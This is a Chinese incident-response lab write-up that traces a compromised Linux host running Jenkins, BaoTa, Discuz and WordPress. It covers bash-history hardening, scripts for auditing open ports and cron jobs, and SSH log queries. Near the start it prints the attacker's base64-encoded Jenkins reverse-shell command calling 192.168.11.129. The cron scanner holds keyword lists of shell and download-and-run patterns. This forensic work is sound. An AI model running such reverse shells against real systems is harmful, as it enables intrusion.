应急响应打靶--Linux溯源

得出以下结论：安装了jenkins、1panel、宝塔，存在docker服务，出现IP：192.168.11.129，反弹shellprintln "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS8xMjM0IDA+JjE= | base64 --decode | bash ".execute().textjenkins命令执行语句解码之后：println "echo bash -i >& /dev/tcp/192.168.11.129/1234 0>&1 | base64 --decode | bash ".execute().textecho YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS8xMjM0IDA+JjE= | base64 --decode | bash解码之后：echo bash -i >& /dev/tcp/192.168.11.129/1234 0>&1 | base64 --decode | bash

1）保存1万条命令sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile2）在/etc/profile的文件尾部添加如下行数配置信息：######jiagu history xianshi#########USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fiexport HISTTIMEFORMAT="%F %T $USER_IP `whoami` "shopt -s histappendexport PROMPT_COMMAND="history -a"######### jiagu history xianshi ##########3）source /etc/profile让配置生效

查看有没有异常端口

#!/bin/bash# 彻底修复版：解决TCP/UDP列数差异导致的UDP PID识别失败问题# 颜色配置GREEN="\033[0;32m"YELLOW="\033[1;33m"BLUE="\033[0;34m"RED="\033[0;31m"NC="\033[0m"clearprintf "${BLUE}==================== netstat -anptu 全量端口一览（终极修复版） ====================${NC}\n"printf "${GREEN}协议 |  端口  |  状态   |  PID  |  进程名  |        程序绝对路径${NC}\n"printf "${GREEN}----------------------------------------------------------------------${NC}\n"# 核心：用awk区分TCP/UDP列数，避免错位sudo netstat -anptu | tail -n +3 | grep -v "unix" | awk '{    proto = $1;    local = $4;    foreign = $5;    # 区分TCP/UDP，处理列数差异    if (proto ~ /tcp|tcp6/) {        state = $6;        pid_proc = $7;    } else if (proto ~ /udp|udp6/) {        state = "---";  # UDP无状态        pid_proc = $6;    } else {        next;    }    # 提取端口（兼容0.0.0.0:xxx、:::xxx格式）    split(local, parts, /:/);    port = parts[length(parts)];    if (port !~ /^[0-9]+$/) next;    # 输出给shell处理    print proto, port, state, pid_proc;}' | while read proto port state pid_proc; do    # 提取PID（兼容所有格式，如887/avahi-daemon: r）    pid=$(echo "$pid_proc" | grep -oE '^[0-9]+')    pname=$(echo "$pid_proc" | cut -d/ -f2- | sed 's/:.*//; s/ .*//')    # 获取程序绝对路径    if [[ "$pid" =~ ^[0-9]+$ ]]; then        path=$(sudo lsof -p "$pid" 2>/dev/null | grep txt | awk '{print $9}' | head -1)        if [ -z "$path" ]; then            path="${RED}无权限/内核进程${NC}"        fi    else        path="${RED}无PID${NC}"        pid="---"        pname="---"    fi    # 格式化输出    printf "%-4s | %-5s | %-7s | %-4s | %-8s | %b\n" "$proto" "$port" "$state" "$pid" "$pname" "$path"doneprintf "${BLUE}======================================================================${NC}\n"printf "${YELLOW}说明：已修复TCP/UDP列数差异，UDP端口PID可正常识别${NC}\n"

查看有没有异常进程

/var/spool/cron/* /etc/crontab/etc/cron.d/*/etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/*/etc/cron.weekly//etc/anacrontab/var/spool/anacron/*

more /etc/cron.daily/*  查看目录下所有文件

#!/bin/bash# 功能：一键检查所有Cron相关目录中的恶意脚本 + 风险明细汇总# 用法：sudo ./check_cron_malware.sh# 颜色定义RED='\033[0;31m'GREEN='\033[0;32m'YELLOW='\033[1;33m'BLUE='\033[0;34m'NC='\033[0m' # 重置颜色# 1. 定义需要检查的Cron路径列表CRON_PATHS=(    "/var/spool/cron/*"    "/etc/crontab"    "/etc/cron.d/*"    "/etc/cron.daily/*"    "/etc/cron.hourly/*"    "/etc/cron.monthly/*"    "/etc/cron.weekly/*"    "/etc/anacrontab"    "/var/spool/anacron/*")# 2. 定义恶意/可疑关键词HIGH_RISK_KEYWORDS=(    "bash -i" "/dev/tcp/" "/dev/udp/" "nc " "ncat " "telnet "    "wget -O-" "curl | " "curl -sL |" "wget | bash" "curl | bash"    "base64 -d" "eval " "exec " "rm -rf /" "chmod 777"    "/tmp/" "/dev/shm/" "/var/tmp/")MEDIUM_RISK_KEYWORDS=(    "nohup " "setsid " " &>/dev/null" ">/dev/null 2>&1" "crontab -r"    "crontab -l" "crontab -e" "*/1 * * * *" "*/5 * * * *")# 3. 初始化统计 & 风险明细数组TOTAL_FILES=0HIGH_RISK_COUNT=0MEDIUM_RISK_COUNT=0# 新增：存储风险明细（文件|行号|内容）HIGH_RISK_LIST=()MEDIUM_RISK_LIST=()# 4. 打印标题clearecho -e "${BLUE}=================================================="echo -e "          Cron 恶意脚本一键检查工具"echo -e "==================================================${NC}"echo -e "${YELLOW}检查路径列表：${NC}"for path in "${CRON_PATHS[@]}"; do    echo -e "  - $path"doneecho -e "${BLUE}==================================================${NC}\n"# 5. 遍历所有路径，检查文件for path_pattern in "${CRON_PATHS[@]}"; do    for file in $path_pattern; do        if [ ! -e "$file" ]; then continue; fi        if [ -d "$file" ]; then            echo -e "${YELLOW}[!] 跳过目录：$file${NC}"            continue        fi        ((TOTAL_FILES++))        echo -e "${GREEN}[+] 正在检查文件：$file${NC}"        echo -e "----------------------------------------"        content=$(sudo cat "$file" 2>/dev/null)        if [ $? -ne 0 ]; then            echo -e "${RED}  无法读取文件（权限不足）${NC}"            echo ""            continue        fi        line_num=0        while IFS= read -r line; do            ((line_num++))            line_printed=false            risk_type=""            # 检查高风险            for keyword in "${HIGH_RISK_KEYWORDS[@]}"; do                if echo "$line" | grep -q "$keyword"; then                    echo -e "${RED}  第$line_num行 [高风险]：$line${NC}"                    ((HIGH_RISK_COUNT++))                    HIGH_RISK_LIST+=("$file|$line_num|$line")                    line_printed=true                    break                fi            done            # 检查中风险            if [ "$line_printed" = false ]; then                for keyword in "${MEDIUM_RISK_KEYWORDS[@]}"; do                    if echo "$line" | grep -q "$keyword"; then                        echo -e "${YELLOW}  第$line_num行 [中风险]：$line${NC}"                        ((MEDIUM_RISK_COUNT++))                        MEDIUM_RISK_LIST+=("$file|$line_num|$line")                        line_printed=true                        break                    fi                done            fi            # 正常行            if [ "$line_printed" = false ]; then                echo -e "  第$line_num行：$line"            fi        done <<< "$content"        echo -e "----------------------------------------\n"    donedone# 6. 基础检查报告echo -e "${BLUE}=================================================="echo -e "                检查报告"echo -e "=================================================="echo -e "  检查文件总数：${TOTAL_FILES}"echo -e "  高风险可疑项：${RED}${HIGH_RISK_COUNT}${NC}"echo -e "  中风险可疑项：${YELLOW}${MEDIUM_RISK_COUNT}${NC}"echo -e "${BLUE}==================================================${NC}"# 7. 【新增】风险明细汇总（核心功能）echo -e "\n${BLUE}=================================================="echo -e "              风险明细汇总表"echo -e "==================================================${NC}"# 汇总高风险if [ ${#HIGH_RISK_LIST[@]} -gt 0 ]; then    echo -e "\n${RED}🔴 高风险明细：${NC}"    echo -e "--------------------------------------------------"    for item in "${HIGH_RISK_LIST[@]}"; do        IFS='|' read -r fpath line content <<< "$item"        echo -e "📄 文件：$fpath"        echo -e "🚩 行号：第 $line 行"        echo -e "⚠️  内容：$content"        echo -e "--------------------------------------------------"    doneelse    echo -e "\n${GREEN}✅ 无高风险项${NC}"fi# 汇总中风险if [ ${#MEDIUM_RISK_LIST[@]} -gt 0 ]; then    echo -e "\n${YELLOW}🟡 中风险明细：${NC}"    echo -e "--------------------------------------------------"    for item in "${MEDIUM_RISK_LIST[@]}"; do        IFS='|' read -r fpath line content <<< "$item"        echo -e "📄 文件：$fpath"        echo -e "🚩 行号：第 $line 行"        echo -e "⚠️  内容：$content"        echo -e "--------------------------------------------------"    doneelse    echo -e "\n${GREEN}✅ 无中风险项${NC}"fiecho -e "\n${BLUE}==================================================${NC}"if [ $HIGH_RISK_COUNT -gt 0 ]; then    echo -e "${RED}[!] 警告：发现高风险内容，请立即排查处理！${NC}"else    echo -e "${GREEN}[+] 检查完成，系统Cron任务相对安全${NC}"fi

分析技巧：1、定账位有多少IP在爆破主机的root账号：    grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more定位有哪些IP在爆破：grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c爆破用户名字典是什么？ grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr2、登录成功的IP有哪些：     grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more登录成功的日期、用户名、IP：grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 

火狐历史记录：宝塔面板：127.0.0.1:15493Discuz论坛、管理中心、登录、安装：127.0.0.1:6565GitLab：127.0.0.1:8090程序员的小破绽、WordPress：127.0.0.1:6631Jekins：192.168.11.136:8080

宝塔页面可得出：默认存储账号密码存在两个网站，分别为DIscuz和WordPress，端口分别为6565和6631存在FTP存在两个数据库，分别为DIscuz和WordPress程序的数据库，这里可直接得到两个数据库的用户名密码、root密码、可访问Phpstudy页面，MySQL版本为5.6.50可直接操作目录可查看操作日志无法可以直接连接ssh，需要密码

日志有限，而且这里主要是溯源，所以看不上什么有用的信息入口点：Jekins未授权+getshell，得到root权限，时间未知Discuz论坛，192.168.11.129内网IP进行了恶意操作，时间：2024.09.20 05:44:15/1文件（反弹shell），最后一次被修改时间：2024.9.20 06:08:55chuantou文件夹（frp配置），最后一次被修改时间：2024.9.20 06:28:34